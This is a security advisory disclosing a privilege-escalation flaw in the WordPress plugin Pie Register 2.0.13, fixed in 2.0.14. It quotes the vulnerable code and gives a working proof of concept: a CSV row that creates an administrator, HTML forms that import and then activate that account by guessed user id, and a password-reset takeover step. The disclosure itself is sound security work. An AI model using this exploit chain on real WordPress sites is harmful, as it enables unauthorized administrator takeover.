17-01-2015 / Vulnerabilities

Pie Register 2.0.13 Privilege escalation

Anyone can import CSV file. Pie Register will import users from this file.

File: pie-register\pie-register.php

add_action( 'init', array($this,'pie_main') );	
function pie_main() {
	// I skip unnecessary lines
	if(isset($_FILES['csvfile']['name'])) {
		$this->importUsers();
	}
}

Password is random because of wp_generate_password().

File: pie-register\pie-register.php

$user_default_data['user_pass'] = wp_generate_password();
$user_id = wp_insert_user($user_default_data);

We cannot reset password because imported account doesn't have "active" flag set to true.

File: pie-register\pie-register.php

add_filter('allow_password_reset',array($this,'checkUserAllowedPassReset'),20,2);
function checkUserAllowedPassReset($val,$userid){
	if(!$userid) return false;
	//Checkj if the user is active or not
	//if active true, or false
	$user_active_status = get_user_meta($userid,"active");
	return $user_active_status[0];
}

Anyone can set "active" flag to true if knows user id.

File: pie-register\pie-register.php

add_action( 'init', array($this,'pie_main') );	
function pie_main() {
	// I skip unnecessary lines
	if( isset($_POST['verifyit']) )		
		$this->verifyUsers();
}

Proof of Concept

Create CSV file based on given example:

"Username","Display name","E-mail","User Registered","First Name","Last Name","Nickname","Role"
"hack","Hacked","[email protected]","2010-10-10 20:00:00","Hacked","Hacked","Hacked","administrator"

Import account using:

<form method="post" action="http://wordpress-instalation" enctype="multipart/form-data">
    Input CSV<input type="file" name="csvfile">
    <input type="submit" value="Add user!">
</form>

Create another standard account using wp-login.php?action=register.

After login go to wp-admin/profile.php and search "uid" in page source.

Number after "uid" is our current account id. For example: "uid":"123".

We can assume that previously imported admin account has id-1 (or id-x where x is natural number).

We can activate this account using:

<form method="post" action="http://wordpress-instalation">
    <input type="hidden" name="verifyit" value="1">
    Account id:<input type="text" name="vusers[]" value="">
    <input type="submit" value="Activate user!">
</form>

Finally we can reset password using: http://wordpress-instalation/wp-login.php?action=lostpassword

Timeline

  • 16-10-2014: Discovered
  • 06-11-2014: Vendor notified
  • 18-11-2014: Second notification
  • 12-12-2014: Version 2.0.14 released, issue resolved